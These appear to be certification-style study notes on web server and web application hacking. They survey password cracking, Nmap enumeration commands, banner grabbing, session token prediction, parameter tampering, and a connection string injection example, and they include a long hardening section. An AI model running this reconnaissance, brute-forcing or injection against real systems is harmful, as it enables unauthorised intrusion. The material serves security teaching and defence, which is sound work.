- Attackers use different methods such as social engineering, spoofing, phishing, using a Trojan Horse or virus, wiretapping, keystroke logging, etc.
- Many hacking attempts start with cracking passwords and proves to the web server that they are a valid user.

Web Server Password Cracking Techniques

- Passwords may be cracked manually or with automated tools such as Cain and Abel, Brutus, THC Hydra, etc.
- Passwords can be cracked by using following techniques:
    - **Guessing**: A common cracking method used by attackers to guess passwords either by humans or by automated tools provided with dictionaries.
    - **Dictionary Attacks**: A file of words is run against user accounts, and if the password is a simple word, it can be found pretty quickly.
    - **Brute Force Attack**: The most time-consuming, but comprehensive way to crack a password. Every combination of character is tried until the password is broken.
    - **Hybrid Attack**: A hybrid attack works similar to dictionary attack, but it adds numbers or symbols to the password attempt.
        - Dictionary attack + brute force attack

Password Cracking tools: Cain & Abel, Brutus, THC Hydra.

Web Application Attacks

- Vulnerabilities in web applications running on a web server provide a broad attack path for web server compromise.
    - Directory Traversal
    - Parameter/Form Tampering
    - Cookie Tampering
    - Command Injection Attacks
    - Buffer Overflow Attacks
    - Cross-Site Scripting (XSS) Attacks
    - Denial-of-Service (DoS) Attacks
    - Unvalidated Input and File injection Attacks
    - Cross-Site Request Forgery (CSRF) Attack
    - SQL Injection Attacks
    - Session Hijacking

Web Server Attack Methodology

- Information Gathering
- Web Server Footprinting
- Mirroring Website
- Vulnerability Scanning
- Session Hijacking
- Hacking Web Server Passwords

Web Server Attack Methodology: Information Gathering

- Information gathering involves collecting information about the targeted company.
- Attackers search the Internet, newsgroups, bulletin boards, etc. for information about the company.
- Attackers use Whois, Traceroute, Active Whois, etc. to query the Whois databases to get the details such as a domain name, an IP address, or an autonomous system number.

Web Server Attack Methodology: Information Gathering from Robots.txt File

- The robots.txt file contains the list of the web server directories and files that the web site owner wants to hide from web crawlers.

- Attackers can simply request Robots.txt file from the URL and retrieve the sensitive information such as root directory structure, content management system information, etc., about the target website.

Web Server Attack Methodology: Web Server Footprinting

- Gather valuable system-level data such as account details, operating system, software versions, server names, and database schema details.
- Telnet a web server to footprint a webserver and gather information such as server name, server type, operating systems, applications running, etc.
- Use tools such as ID Serve, httprecon, and Netcraft to perform footprinting.

Web Server Footprinting Tools

- httprecon
- ID Serve

Enumerating Web Server Information Using Nmap

- Attackers can use advanced Nmap commands and Nmap Scripting Engine (NSE) scripts to enumerate information about the target website.
- nmap -sV -O -p target IP address
- nmap -sV --script=http-enum target IP address
- nmap target IP address -p 80 --script=http-frontpage-login
- nmap --script http-passwd --script-args http-passwd.root=/target IP address
- Discover virtual domains with hostmap: $nmap --script hostmap <host>
- Detect a vulnerable server that uses the TRACE method: $nmap --script http-trace -p80 localhost
- Harvest email accounts with http-google-email: $nmap --script http-google-email <host>
- Enumerate users with http-userdir-enum: $nmap -p80 --script http-userdir -enum localhost
- Detect HTTP TRACE: $nmap -p80 --script http-trace <host>
- Check if web server is protected by a WAF/IPS: $nmap -p80 --script http-waf-detect --script-args="http-waf-detect.uri=/testphp.vulnweb.com/artists.php,http-waf-detect.detectBodyChanges" www.modsecurity.org
- Enumerate common web applications: $nmap --script http-enum -p80 <host>

- Obtain robots.txt: `$nmap -p80 --script http-robots.txt <host>`

Web Server Attack Methodology: Mirroring a Website

- Mirror a website to create a complete profile of the site's directory structure, files structure, external links, etc.
- Search for comments and other items in the HTML source code to make footprinting activities more efficient.
- Use tools HTTrack, WebCopier Pro, BlackWidow, etc. to mirror a website.

Web Server Attack Methodology: Vulnerability Scanning

- Implement vulnerability scanning to identify weaknesses in a network and determine if the system can be exploited.
- Use a vulnerability scanner such as HP WebInspect, Acunetix Web Vulnerability Scanner, etc. to find hosts, services, and vulnerabilities.
- Sniff the network traffic to find out active systems, network services, applications, and vulnerabilities present.
- Test the web server infrastructure for any misconfiguration, outdated content, and known vulnerabilities.

Web Server Attack Methodology: Session Hijacking

- Sniff valid session IDs to gain unauthorized access to the Web Server and snoop the data.
- Use session hijacking techniques such as session fixation, session sidejacking, Cross-site scripting, etc. to capture valid session cookies and IDs.
- Use tools such as Burp Suite, Firesheep, JHijack to automate session hijacking.

Web Server Attack Methodology: Hacking Web Passwords

- Use password cracking techniques such as brute force attack, dictionary attack, password guessing to crack Web Server passwords.
- Use tools such as THC-Hydra and Brutus

Some Tools to Attack Web Servers

- Metasploit
- Wfetch
- Burp
- THC-Hydra (and other password crackers)
- Brutus

Web Server Attack Countermeasures

Patches and Updates

- Scan for existing vulnerabilities, patch, and update the server software regularly.
- Before applying any service pack, hotfix, or security patch, read and peer review all relevant documentation.
- Apply all updates, regardless of their type on an "as-needed" basis.
- Test the service packs and hotfixes on a representative non-production environment prior to being deployed to production.
- Ensure that service packs, hotfixes, and security patch levels are consistent on all Domain Controllers (DCs).
- Ensure that server outages are scheduled and a complete set of backup tapes and emergency repair disks are available.
- Have a backup plan that allows the system and enterprise to return to their original state, prior to the failed implementation.
- Schedule periodic service pack upgrades as part of operations maintenance and never try to have more than two service packs behind.

Protocols

- Block all unnecessary ports, Internet Control Message Protocol (ICMP) traffic, and unnecessary protocols such as NetBIOS and SMB.
- Harden the TCP/IP stack and consistently apply the latest software patches and updates to system software.
- If using insecure protocols such as Telnet, POP3, SMTP, FTP, take appropriate measures to provide secure authentication and communication, for example, by using IPSec policies.

- If remote access is needed, make sure that the remote connection is secured properly, by using tunneling and encryption protocols.
- Disable WebDAV if not used by the application or keep secure if it is required.

Accounts

- Remove all unused modules and application extensions.
- Disable unused default user accounts created during installation of an operating system.
- When creating a new web root directory, grant the appropriate (least possible) NTFS permissions to the anonymous user being used from the IIS web server to access the web content.
- Eliminate unnecessary database users and stored procedures and follow the principle of least privilege for the database application to defend against SQL query poisoning.
- Use secure web permissions, NTFS permissions, and .NET Framework access control mechanisms including URL authorization.
- Slow down brute force and dictionary attacks with strong password policies, and then audit and alert for logon failures.
- Run processes using least privileged accounts as well as least privileged service and user accounts.

Files and Directories

- Eliminate unnecessary files within the .jar files.
- Eliminate sensitive configuration information within the byte code.
- Avoid mapping virtual directories between two different servers, or over a network.
- Monitor and check all network services logs, website access logs, database server logs (e.g., Microsoft SQL Server, MySQL, Oracle) and OS logs frequently.
- Disable serving of directory listings.
- Eliminate the presence of non web files such as archive files, backup files, text files, and header/include files.
- Disable serving certain file types by creating a resource mapping.
- Ensure the presence of web application or website files and scripts on a separate partition or drive other than that of the operating system, logs, and any other system files.

Defend Against Web Server Attacks

- **Ports**:

    - Audit the ports on the server regularly to ensure that an insecure or unnecessary service is not active on your web server.
    - Limit inbound traffic to port 80 for HTTP and port 443 for HTTPS (SSL).
    - Encrypt or restrict intranet traffic.
- **Server Certificates**:
    - Ensure that certificate data ranges are valid and that certificates are used for their intended purpose.
    - Ensure that the certificate has not been revoked and certificated public key is valid all the way to a trusted root authority.
- **Machine.config**:
    - Ensure that protected resources are mapped to HttpForbiddenHandler and unused HttpModules are removed.
    - Ensure that tracing is disabled <trace enable="false"/> and debug compiles are turned off.
- **Code Access Security**:
    - Implement secure coding practices.
    - Restrict code access security policy settings.
    - Configure IIS to reject URLs with "../" and install new patches and updates.
- **UrlScan**:
    - UrlScan is a security tool that restricts the types of HTTP requests that IIS will process.
    - By blocking specific HTTP requests, the UrlScan security tool helps to prevent potentially harmful requests from reaching applications on the server.
    - UrlScan screens all incoming requests to the server by filtering the requests based on rules that are set by the administrator.
- **Services**:
    - UrlScan can be configured to filter HTTP query string values and other HTTP headers to mitigate SQL injection attacks while the root cause is being fixed in the application.
    - It provides W3C formatted logs for easier log file analysis through log parsing solutions like Microsoft Log Parser 2.2.
- **Registry**:
    - Apply restricted ACLs and block remote registry administration.
    - Secure the SAM (Stand-alone Servers Only).
- **IIS Metabase**:
    - Ensure that security related settings are configured appropriately and access to the metabase file is restricted with hardened NTFS permissions.
- **ISAPI Filters**:
    - Remove unnecessary ISAPI filters from the web server.
- **Shares**:
    - Remove all unnecessary file shares including the default administrative shares if not required.

    - Secure the shares with restricted NTFS permissions.
- **Sites and Virtual Directories**:
    - Relocate sites and virtual directories to non-system partitions and use IIS Web permissions to restrict access.
- **Script Mappings**:
    - Remove all unnecessary IIS script mappings for optional file extensions to avoid exploiting any bugs in the ISAPI extensions that handle these types of files.
- **Auditing and Logging**:
    - Enable a minimum level of auditing on your web server and use NTFS permissions to protect the log files.
- The following is a list of actions that can be taken to defend web servers from various kinds of attacks:
    - Do use a dedicated machine as a web server.
    - Create URL mappings to internal servers cautiously.
    - Don't install the IIS server on a domain controller.
    - Use server-side session ID tracking and match connection with time stamps, IP address, etc.
    - If a database server such as Microsoft SQL Server is to be used as a backend database, install it on a separate server.
    - Use security tools provided with the web server and scanners that automate and make the process of securing a web server easy.
    - Do physically protect the web server machine in a secure machine room.
    - Do not connect an IIS Server to the Internet until it is fully hardened.
    - Do not allow anyone to locally log on to the machine except for the administrator.
    - Do configure a separate anonymous user account for each application, if you host multiple web applications.
    - Limit the server functionality in order to support the web technologies that are going to be used.
    - Screen and filter the incoming traffic request.

Web Applications

Web applications provide an interface between end users and web servers through a set of web pages that are generated at the server end or contain script code to be executed dynamically within the client web browser.

Web Application Threats

- **Cookie Poisoning**: By changing the information inside the cookie, attackers bypass the authentication process and once they gain control over the network, they can either modify the content, use the system for the malicious attack, or steal information from the user's system.
- **Directory Traversal**: Attackers exploit HTTP by using directory traversal and they will be able to access restricted directories; they execute commands outside of the web server's root directory.
- **Unvalidated Input**: In order to bypass the security system, attackers tamper with the http requests, URL, headers, form fields, hidden fields, query strings etc. Users' login IDs and other related data gets stored in the cookies and this becomes a source of attack for the intruders. Attackers gain access to the victim's system using the information present in cookies. Examples of attacks caused by unvalidated input include SQL injection, cross-site scripting (XSS), buffer overflows, etc.
- **Cross-site Scripting (XSS)**: An attacker bypasses the clients ID security mechanism and gains access privileges, and then injects malicious scripts into the web pages of a particular website. These malicious scripts can even rewrite the HTML content of the website.
- **Injection Flaws**: Injection flaws are web application vulnerabilities that allow untrusted data to be interpreted and executed as part of a command or query.
- **SQL Injection**: This is a type of attack where SQL commands are injected by the attacker via input data; then the attacker can tamper with the data.
- **Parameter/Form Tampering**: This type of tampering attack is intended to manipulate the parameters exchanged between client and server in order to modify application data, such as user credentials and permissions, price and quantity of products, etc. This information is actually stored in cookies, hidden form fields, or URL Query Strings, and is used to increase application functionality and control. Man in the middle is one of the examples for this type of attack. Attackers use tools like Web scarab and Paros proxy for these attacks.
- **Denial-of-Service (DoS)**: A denial-of-service attack is an attacking method intended to terminate the operations of a website or a server and make it unavailable to intended users. For instance, a website related to a bank or email service is not able to function for a few hours to a few days. This results in loss of time and money.
- **Broken Access Control**: Broken access control is a method used by attackers where a particular flaw has been identified related to the access control, where authentication is bypassed and the attacker compromises the network.
- **Cross-site Request Forgery (CSRF)**: The cross-site request forgery method is a kind of attack where an authenticated user is made to perform certain tasks on the web application that an attacker chooses. For example, a user clicking on a particular link sent through an email or chat.
- **Information Leakage**: Information leakage can cause great losses for a company. Hence, all sources such as systems or other network resources must be protected from information leakage by employing proper content filtering mechanisms.

- **Improper Error Handling**: It is necessary to define how the system or network should behave when an error occurs. Otherwise, it may provide a chance for the attacker to break into the system. Improper error handling may lead to DoS attacks.
- **Log Tampering**: Logs are maintained by web applications to track usage patterns such as user login credentials, admin login credentials, etc. Attackers usually inject, delete, or tamper with web application logs so that they can perform malicious actions or hide their identities.
- **Buffer Overflow**: A web application's buffer overflow vulnerability occurs when it fails to guard its buffer properly and allows writing beyond its maximum size.
- **Broken Session Management**: When security-sensitive credentials such as passwords and other useful material are not properly taken care of, these types of attacks occur. Attackers compromise the credentials through these security vulnerabilities.
- **Security Misconfiguration**: Developers and network administrators should check that the entire stack is configured properly or security misconfiguration can happen at any level of an application stack, including the platform, web server, application server, framework, and custom code. Missing patches, misconfigurations, use of default accounts, etc. can be detected with the help of automated scanners that attackers exploit to compromise web application security.
- **Broken Account Management**: Even authentication schemes that are valid are weakened because of vulnerable account management functions including account update, forgotten or lost password recovery or reset, password changes, and other similar functions.
- **Insecure Storage**: Web applications need to store sensitive information such as passwords, credit card numbers, account records, or other authentication information somewhere; possibly in a database or on a file system. If proper security is not maintained for these storage locations, then the web application may be at risk as attackers can access the storage and misuse the information stored. Insecure storage of keys, certificates, and passwords allow the attacker to gain access to the web application as a legitimate user.
- **Platform Exploits**: Users can build various web applications by using different platforms such as BEA Web logic and ColdFusion. Each platform has its various vulnerabilities and exploits associated with it.
- **Insecure Direct Object References**: When developers expose various internal implementation objects such as files, directories, database records, or key-through references, the result is an insecure direct object reference. For example, if a bank account number is a primary key, there is a chance of the application being compromised by attackers taking advantage of such references.
- **Insecure Cryptographic Storage**: Sensitive data stored in a database should be properly encrypted using cryptography. However, some cryptographic encryption methods contain inherent weakness. Thus, developers should use strong encryption methods to develop secure applications. At the same time, they must take care to store the cryptographic keys securely. If these keys are stored in insecure places, then attackers can obtain them easily and decrypt the sensitive data.

- **Authentication Hijacking**: To identify a user, every web application employs user identification such as an ID and password. However, once attackers compromise a system, various malicious things such as theft of services, session hijacking, and user impersonation can occur.
- **Network Access Attacks**: Network access attacks can majorly affect web applications, including basic level of service. They can also allow levels of access that standard HTTP application methods could not grant.
- **Cookie Snooping**: Attackers use cookie snooping on victim systems to analyze users' surfing habits and sell that information to other attackers, or to launch various attacks on the victims' web applications.
- **Web Services Attacks**: Attackers can get into the target web applications by exploiting an application integrated with vulnerable web services. An attacker injects a malicious script into a web service and is able to disclose and modify application data.
- **Insufficient Transport Layer Protection**: Use SSL/TLS authentications for websites; otherwise, attackers can monitor network traffic to steal authenticated users' session cookies, making them vulnerable to threats such as account theft and phishing attacks.
- **Hidden Manipulation**: Attackers attempting to compromise e-commerce websites mostly use these types of attacks. They manipulate hidden fields and change the data stored in them. Several online stores face this type of problem every day. Attackers can alter prices and conclude transactions, designating the prices of their choice.
- **DMZ Protocol Attacks**: The DMZ ("demilitarized zone") is a semi-trusted network zone that separates the untrusted Internet from the company's trusted internal network. An attacker who is able to compromise a system that allows other DMZ protocols has access to other DMZs and internal systems. This level of access can lead to:
    - Compromise of the web application and data
    - Defacement of websites
    - Access to internal systems, including databases, backups, and source code
- **Unvalidated Redirects and Forwards**: Attackers lure victims and make them click on unvalidated links that appear to be legitimate. Such redirects may attempt to install malware or trick victims into disclosing passwords or other sensitive information. Unsafe forwards may allow access control bypass, leading to:
    - Session fixation attacks
    - Security management exploits
    - Failure to restrict URL access
    - Malicious file execution
- **Failure to Restrict URL Access**: An application often safeguards or protects sensitive functionality and prevents the displays of links or URLs for protection. Attackers access those links or URLs directly and perform illegitimate operations.
- **Obfuscation Application**: Attackers usually work hard at hiding their attacks and avoid detection. Network and host-based intrusion detection systems (IDSs) are constantly looking for signs of well-known attacks, driving attackers to seek different ways to remain undetected. The most common method of attack obfuscation involves encoding portions of the attack with Unicode, UTF-8, or URL encoding. Unicode is a method of

representing letters, numbers, and special characters to properly display them, regardless of the application or underlying platform.

- **Security Management Exploits**: Some attackers target security management systems, either on networks or on the application layer, in order to modify or disable security enforcement. An attacker who exploits security management can directly modify protection policies, delete existing policies, add new policies, and modify applications, system data, and resources.
- **Session Fixation Attack**: In a session fixation attack, the attacker tricks or attracts the user to access a legitimate web server using an explicit session ID value.
- **Malicious File Execution**: Malicious file execution vulnerabilities are present in most applications. The cause of this vulnerability is because of unchecked input into a web server. Because of this, attackers execute and process files on a web server and initiate remote code execution, install the rootkit remotely, and - in at least some cases - take complete control over systems.

Web Application Hacking Methodology

- Web infrastructure footprinting is the first step in web application hacking; it helps attackers to select victims and identify vulnerable web applications.
- **Server Discovery**: Discover the physical servers that host web applications.
- **Service Discovery**: Discover the services running on web servers that can be exploited as attack paths for web app hacking.
- **Server Identification**: Grab server banners to identify the make and version of the web server software.
- **Hidden Content Discovery**: Extract content and functionality that is not directly linked or reachable from the main visible content.

Footprint Web Infrastructure: Server Discovery

- Server discovery gives information about the location of servers and ensures that the target server is alive on the Internet.
- **Whois Lookup**: Whois lookup utility gives information about the IP address of web server and DNS names
- **DNS Interrogation**: DNS interrogation provides information about the location and type of servers
- **Port Scanning**: Port Scanning attempts to connect to a particular set of TCP or UDP ports to find out the service that exists on the server.
    1. Scan the target web server to identify common ports that web servers use for different services.
    2. Tools used for service discovery:
        - Nmap
        - NetScanTools Pro
        - Sandcat Browser
    3. Identified services act as attack paths for web application hacking.

Port	Typical HTTP Services
80	World Wide Web standard port (http)
81	Alternate WWW
88	Kerberos
443	SSL (https)
900	IBM Websphere administration client
2301	Compaq Insight Manager
2381	Compaq Insight Manager over SSL
4242	Microsoft Application Center Remote management
7001	BEA Weblogic
7002	BEA Weblogic over SSL

7070	Sun Java Web Server over SSL
8000	Alternate Web server, or Web cache
8001	Alternate Web server or management
8005	Apache Tomcat
9090	Sun Java Web Server admin module
10000	Netscape Administrator interface

Footprint Web Infrastructure: Server Identification/Banner Grabbing

- Analyze the server response header field to identify the make, model and version of the web server software.
- Syntax: C:\telnet Website URL or IP address 80
- Run command `s_client -host [target website] -port 443`
    - openssl.exe
- Type `GET / HTTP/1.0` to get the server information
- **Banner Grabbing Tools**:
    - Telnet
    - Netcat
    - ID Serve
    - Netcraft

Detecting Web App Firewalls and Proxies on Target Site

- **Detecting Proxies**:
    - Determine whether your target site is routing your requests through a proxy server.
    - Proxy servers generally add certain headers in the response header field.
    - Use TRACE method of HTTP/1.1 to identify the changes the proxy server made to the request.

1. The trace command sends a request to the web server, asking it to send back the request.
2. If the web server is present before a proxy server, and when an attacker sends a request using the trace command, the proxy modifies this request (by adding some headers) and forwards it to the target web server.
3. When the web server bounces back the request to the attacker's machine, the attacker compares both requests and analyzes the changes made to it by the proxy server.

- **Detecting Web App Firewall**:
    - Web Application Firewall (WAF) prevents web application attack by analyzing HTTP traffic.
    - Determine whether your target site is running a web app firewall in front of a web application.
    - Check the cookies response of your request because most of the WAFs add their own cookie in the response.
    - Use WAF detection tools such as WAFW00F to find which WAF is running in front of the application.
- View the HTTP request cookie
- Analyze the HTTP header request

Footprint Web Infrastructure: Hidden Content Discovery

- Discover the hidden content and functionality that is not reachable from the main visible content to exploit user privileges within the application.
- It allows an attacker to recover backup copies of live files, configuration files and log files containing sensitive data, backup archives containing snapshots of files within the web root, new functionality which is not linked to the main application, etc.
- **Web Spidering**:
    - Web spiders automatically discover the hidden content and functionality by parsing HTML form the client-side JavaScript requests and responses.
    - Web Spidering Tools:
        - OWASP Zed Attack Proxy
        - Burp Suite
        - WebScarab
- **Attacker-Directed Spidering**:
    - Attacker accesses all of the application's functionality and uses an intercepting proxy to monitor all requests and responses.
    - The intercepting proxy parses all of the application's responses and reports the content and functionality it discovers.
    - Tool: OWASP Zed Attack Proxy
- **Brute-Forcing**:

    - Use automation tools such as Burp Suite to make huge numbers of requests to the web server in order to guess the names or identifiers of hidden content and functionality.

Web Spidering Using Burp Suite

- Configure your web browser to use Burp as a local proxy.
- Access the entire target application visiting every single link/URL possible, and submit all the application forms available.
- Browse the target application with JavaScript enabled and disabled, and with cookies enabled and disabled.
- Check the site map generated by the Burp proxy, and identify any hidden application content or functions.
- Continue these steps recursively until no further content or functionality is identified.

Web Crawling Using Mozenda Web Agent Builder

- Mozenda Web Agent Builder crawls through a website and harvests pages of information.
- The software supports logins, result index, AJAX, borders, and others.
- The extracted data can be accessed online, exported and used through an API.

Web App Hacking Methodology - Attack Web Servers

- After identifying the web server environment, scan the server for known vulnerabilities using any web server vulnerability scanner.
- Launch web server attack to exploit identified vulnerabilities.
- **Tools used**:
    - UrlScan
    - Nikto
    - Nessus
    - Acunetix Web Vulnerability
    - WebInspect
- Launch Denial-of-Service (DoS) against a web server.
    - DoSHTTP, Hping, Loci and Xoic, SYN Flooding, Slowloris, DRDos.

Web Server Hacking Tool: WebInspect

- WebInspect identifies security vulnerabilities in the web applications.
- It runs interactive scans using a sophisticated user interface.
- Attackers can exploit identified vulnerabilities to carry out web services attacks.

Web App Hacking Methodology - Analyze Web Applications

- Analyze the active application's functionality and technologies in order to identify the attack surfaces that it exposes.
- **Identify Entry Points for User Input**: Review the generated HTTP request to identify the user input entry points.
- **Identify Server-Side Functionality**: Observe the applications revealed to the client to identify the server-side structure and functionality.
- **Identify Server-Side Technologies**: Fingerprint the technologies active on the server using various fingerprint techniques such as HTTP fingerprinting.
- **Map the Attack Surface**: Identify the various attack surfaces uncovered by the applications and the vulnerabilities that are associated with each one.

Analyze Web Applications: Identify Entry Points for User Input

- Examine URL, HTTP Header, query string parameters, POST data, and cookies to determine all user input fields.
- Identify HTTP header parameters that can be processed by the application as user inputs such as User-Agent, Accept, Accept-Language, and Host headers.
- Determine URL encoding techniques and other encryption measures implemented to secure the web traffic such as SSL.
- **Tools you can use include**:
    - Burp Suite
    - HttPrint
    - WebScarab
    - OWASP Zed Attack Proxy

Analyze Web Applications: Identify Server-Side Technologies

- Perform a detailed server fingerprinting, analyze HTTP headers and HTML source code to identify server side technologies.
- Examine URLs for file extensions, directories, and other identification information.
- Examine the error page messages.
- Examine session tokens:
    - JSESSIONID - Java
    - ASPSESSIONID - IIS server
    - ASP.NET_SessionId - ASP.NET
    - PHPSESSID - PHP
- Firefox addon: Wappalyzer
- Kali: `whatweb -v [URL]`

Analyze Web Applications: Identify Server-Side Functionality

- Examine page source and URLs and make an educated guess to determine the internal structure and functionality of web applications.
- **Tools used**:
    - GUN Wget
    - Teleport Pro
    - BlackWidow
- **Examine URL**:
    - **https**://www.juggyboy.com/customers.**aspx**?name=existing%20clients&isActive=O&**startDate**=20%2F11%2F2010&**endDate**=20%2F05%2F2011&**showBy**=name
        - **https**: SSL
        - **aspx**: ASPX | Platform
        - **startDate**, **endDate**, **showBy**: Database Column

Analyze Web Applications: Map the Attack Surface

Information	Attack	Information	Attack
Client-Side Validation	Injection Attack, Authentication Attack	Injection Attack	Privilege Escalation, Access Controls

Database Interaction	SQL Injection, Data Leakage	Cleartext Communication	Data Theft, Session Hijacking
File Upload and Download	Directory Traversal	Error Message	Information Leakage
Display of User-Supplied Data	Cross-Site Scripting	Email Interaction	Email Injection
Dynamic Redirects	Redirection, Header Injection	Application Codes	Buffer Overflows
Login	Username Enumeration, Password Brute-Force	Third-Party Application	Known Vulnerabilities Exploitation
Session State	Session Hijacking, Session Fixation	Web Server Software	Known Vulnerabilities Exploitation

Web App Hacking Methodology - Attack Authentication Mechanism

- Attackers can exploit design and implementation flaws in web applications, such as failure to check password strength or insecure transportation of credentials, to bypass authentication mechanisms.
- **Username Enumeration**:
    - Verbose failure messages
    - Predictable usernames
- **Cookie Exploitation**:
    - Cookie poisoning
    - Cookie sniffing
    - Cookie replay
- **Session Attacks**:
    - Session prediction
    - Session brute-forcing
    - Session poisoning

- **Password Attacks**:
    - Password functionality exploits
    - Password guessing
    - Brute-force attack

Username Enumeration

- If login error states which part of the user name and password is not correct, guess the users of the application using the trial-and-error method.
- Some applications automatically generate account user names based on a sequence (such as user101, user102, etc.), and attackers can determine the sequence and enumerate valid user names.
- Note: Username enumeration from verbose error messages will fail if the application implements account lockout policy i.e., locks account after a certain number of failed login attempts.

Password Attacks: Password Functionality Exploits

- **Password Changing**:
    - Determine password change functionality within the application by spidering the application or creating a login account.
    - Try random strings for 'Old Password', 'New Password', and 'Confirm the New Password' fields and analyze errors to identify vulnerabilities in password change functionality.
- **Password Recovery**:
    - Forgot Password' features generally present a challenge to the user; if the number of attempts is not limited, attackers can guess the challenge answer successfully with the help of social engineering.
    - Applications may also send a unique recovery URL or existing password to an email address specified by the attacker if the challenge is solved.
- **"Remember Me" Exploit**:
    - "Remember Me" functions are implemented using a simple persistent cookie, such as RememberUser=jason or a persistent session identifier such as RememberUser=ABY112010.
    - Attackers can use an enumerated username or predict the session identifier to bypass authentication mechanisms.

Password Attacks: Password Guessing

- **Password List**: Attackers create a list of possible passwords using most commonly used passwords, footprinting target and social engineering techniques, and try each password until the correct password is discovered.
- **Password Dictionary**: Attackers can create a dictionary of all possible passwords using tools such as Dictionary Maker to perform dictionary attacks.
- **Tools**: Password guessing can be performed manually or using automated tools such as WebCracker, Brutus, Burp Intruder, THC-Hydra,etc.

Password Attacks: Brute-forcing

- In brute-forcing attacks, attackers crack the log-in passwords by trying all possible values from a set of alphabets, numeric, and special characters.
- Attackers can use password cracking tools such as Burp Suite, Brutus, and SensePost Crowbar.

Session Attacks: Session ID Prediction/Brute-Forcing

1. In the first step, the attacker collects some valid session ID values by sniffing traffic from authenticated users.
2. Attackers then analyze captured session IDs to determine the session ID generation process such as the structure of session ID, the information that is used to create it, and the encryption or hash algorithm used by the application to protect it.
3. Vulnerable session generation mechanisms that use session IDs composed by user name or other predictable information, like timestamp or client IP address, can be exploited by easily guessing valid session IDs.
4. In addition, the attacker can implement a brute force technique to generate and test different values of session ID until he successfully gets access to the application.

Cookie Exploitation: Cookie Poisoning

- If the cookie contains passwords or session identifiers, attackers can steal the cookie using techniques such as script injection and eavesdropping.

- Attackers then replay the cookie with the same or altered passwords or session identifiers to bypass web application authentication.
- Attackers can trap cookies using tools such as OWASP Zed Attack Proxy, Burp Suite, etc.

Web App Hacking Methodology - Attack Authorization Schemes

Authorization Attack

- Attackers manipulate the HTTP requests to subvert the application authorization schemes by modifying input fields that relate to user ID, user name, access group, cost, filenames, file identifiers, etc.
- Attackers first access web applications using low-privileged accounts and then escalate privilege to access protected resources.
- Attackers use sources such as the following to perform authorization attacks:
    - Parameter Tampering
    - POST Data
    - Uniform Resource Identifier
    - HTTP Headers
    - Cookies
    - Hidden Tags

HTTP Request Tampering

- **Query String Tampering**:
    - If the query string is visible in the address bar on the browser, the attacker can easily change the string parameter to bypass authorization mechanisms.
        - http://www.sample.com/mail.aspx?mailbox=john&company=acme%20com
        - https://sample.com/books/download/852741369.pdf
        - https://samplebank.com/login/home.jsp?admin=true
    - Attackers can use web spidering tools such as Burp Suite to scan the web app for POST parameters.
- **HTTP Headers**

If the application uses the Referer header for making access control decisions, attackers can modify it to access protected application functionalities.

Authorization Attack: Cookie Parameter Tampering

- In the first step, the attacker collects some cookies set by the web application and analyzes them to determine the cookie generation mechanism.
- The attacker then traps cookies set by the web application, tampers with its parameters using tools, such as OWASP Zed Attack Proxy, and replay to the application.

Web App Hacking Methodology - Attack Session Management Mechanism

Session Management Attack

- Attackers break an application's session management mechanism to bypass the authentication controls and impersonate privileged application users.
- **Session Token Generation**:
  - Session Tokens Prediction
  - Session Tokens Tampering
- **Session Tokens Handling**:
  - Man-In-The-Middle Attack
  - Session Replay
  - Session Hijacking

Attacking Session Token Generation Mechanism

- **Weak Encoding Example**:
  - https://www.juggyboy.com/checkout?SessionToken=%75%73%65%72%3D%6A%61%73%6F%6E%3B%61%70%70%3D%61%64%6D%69%6E%3B%64%61%74%65%3D%32%33%2F%31%31%2F%32%30%31%30
  - When hex-encoding an ASCII string user=jason;app=admin;date=23/11/2010, the attacker can predict another session token by just changing date and use it for another transaction with the server.
- **Session Token Prediction**:
  - Attackers obtain valid session token by sniffing the traffic or legitimately logging into application and analyzing it for encoding (hex-encoding, Base64) or any pattern.

    - If any meaning can be reverse engineered from the sample of session tokens, attackers attempt to guess the tokens recently issued to other application users.
    - Attackers then make a large number of requests with the predicted tokens to a session-dependent page to determine a valid session token.

Attacking Session Tokens Handling Mechanism: Session Token Sniffing

- Attackers sniff the application traffic using a sniffing tool such as Wireshark or an intercepting proxy such as Burp. If HTTP cookies are being used as the transmission mechanism for session tokens and the secure flag is not set, attackers can replay the cookie to gain unauthorized access to the application.
- Attackers can use session cookies to perform session hijacking, session replay, and Man-in-the-Middle attacks.

Web App Hacking Methodology - Perform Injection Attacks

Injection Attacks/Input Validation Attacks

- In injection attacks, attackers supply crafted malicious input that is syntactically correct according to the interpreted language being used in order to break the application's normal intended.
- **Web Scripts Injection**: If user input is used into dynamically executed code, enter crafted input that breaks the intended data context and executes commands on the server.
- **OS Commands Injection**: Exploit operating systems by entering malicious codes in input fields if applications utilize user input in a system-level command.
- **SMTP Injection**: Injection arbitrary SMTP commands into application and SMTP server conversation to generate large volumes of spam email.
- **SQL Injection**: Enter a series of malicious SQL queries into input fields to directly manipulate the database.
- **LDAP Injection**: Take advantage of non-validated web application input vulnerabilities to pass LDAP filters to obtain direct access to databases.
- **XPath Injection**: Enter malicious strings in input fields in order to manipulate the XPath query so that it interferes with the application's logic.
- **Buffer Overflow**: Injections large amount of bogus data beyond the capacity of the input field.

- **Canonicalization**: Manipulate variables that reference files with "dot-dot-slash (../)" to access restricted directories in the application.

Web App Hacking Methodology - Attack Data Connectivity

- Database connection strings are used to connect applications to database engines.
- Example of a common connection string used to connect to a Microsoft SQL Server database: `"Data Source=Server, Port; Network Library=DBMSSOCN; Initial Catalog=DataBase; User ID=Username; Password=pwd;"`
- Database connectivity attacks exploit the way applications connect to the database instead of abusing database queries.
- Data Connectivity Attacks:
    - **Connection String Injection**: A delegated authentication environment in which attackers inject parameters in a connection string by appending them with the semicolon. This can occur when dynamic string concatenation is used to build connection strings according to user input.
    - **Connection String Parameter Pollution (CSPP) Attacks**: Attackers overwrite parameters values in the connection string.
    - **Connection Pool DoS**: Attackers examine the connection pooling settings of the target application, construct a large malicious SQL query, and run multiple queries simultaneously to consume all connections in the connection pool, in turn causing database queries to fail for legitimate users.
- DB <---Connection String (Dynamic)---> Web APP

Connection String Injection

- In a delegated authentication environment, the attacker injects parameters in a connection string by appending them with the semicolon (;) character.
- A connection string injection attack can occur when a dynamic string concatenation is used to build connection strings based on user input.
- **Before Injection**:
    - `"Data Source=Server, Port; Network Library=DBMSSOCN; Initial Catalog=DataBase; User ID=Username; Password=pwd;"`
- **After Injection**:
    - `"Data Source=Server, Port; Network Library=DBMSSOCN; Initial Catalog=DataBase; User ID=Username; Password=pwd;Encryption=off"`
- When the connection string is populated, the *Encryption* value will be added to the previously configured set of parameters.

